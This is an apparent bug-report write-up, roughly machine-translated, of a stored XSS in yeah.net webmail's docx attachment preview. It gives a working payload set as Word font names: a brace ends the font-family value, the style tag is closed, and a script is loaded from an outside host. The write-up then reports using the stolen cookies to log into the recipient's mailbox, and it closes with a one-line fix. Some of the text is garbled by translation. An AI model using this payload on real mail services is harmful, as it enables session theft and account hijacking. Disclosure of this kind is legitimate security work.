Yeah.net email storage XSS can hijack others' accounts

Yeah.net email storage XSS can hijack others' accounts

First, the problem lies in the attachment Preview (currently, the mailbox body is filtered almost ), attachment preview: If you preview files of the doc docx type, Microsoft's Online Preview Technology (high-definition version) and yongzhong software preview Technology (quick version) will be used)

Microsoft's Online Preview technology uses Embedding content into an image to render an image for users to see. It takes time and bandwidth to load the image (no wonder it is called the HD version)

However, the yongzhong software is relatively normal, that is, to get the content and then render it to html, which is faster, and the bandwidth does not need to be too much, just like browsing the Web page.

So now the question is, Microsoft's Online Preview technology should be more mature, so it just gave up. What about the other one?

Send a docx file and then preview the file to find that the font is output in the style label.
 

What if a malicious payload is included in the font?

Actually, it will be filtered out. If you close the style label directly, it will become like this:

</Style> <script> ---> \ 60;/style \ 62; \ 60; script \ 62;

I used payload as the value for encoding, so I can't go through it. No is fun.

We only need one; number to end the font-family.

Then you can:

} </Style> <script> in this case} Will be encoded as font-family: \ 125; then we have a; number and then we can write payload.

The final payload is as follows (due to the word count problem, it is divided into two segments ):

} </Style> <script src = // km3pw>

} </Script>

Set the above two paragraphs to the font in the Word document.

For example, 1. xsss --> font equals} </style> <script src = // km3pw>

2. csrf --> font equals} </script>


 

 

And then send it to others for preview:
 

 

After obtaining the cookie, it is found that some cookies cannot be obtained even though the httponly attribute exists.

However, you can log on to the recipient's mailbox with the obtained cookie.
 

Solution:

Set httponly for filtering key cookie fields of dangerous characters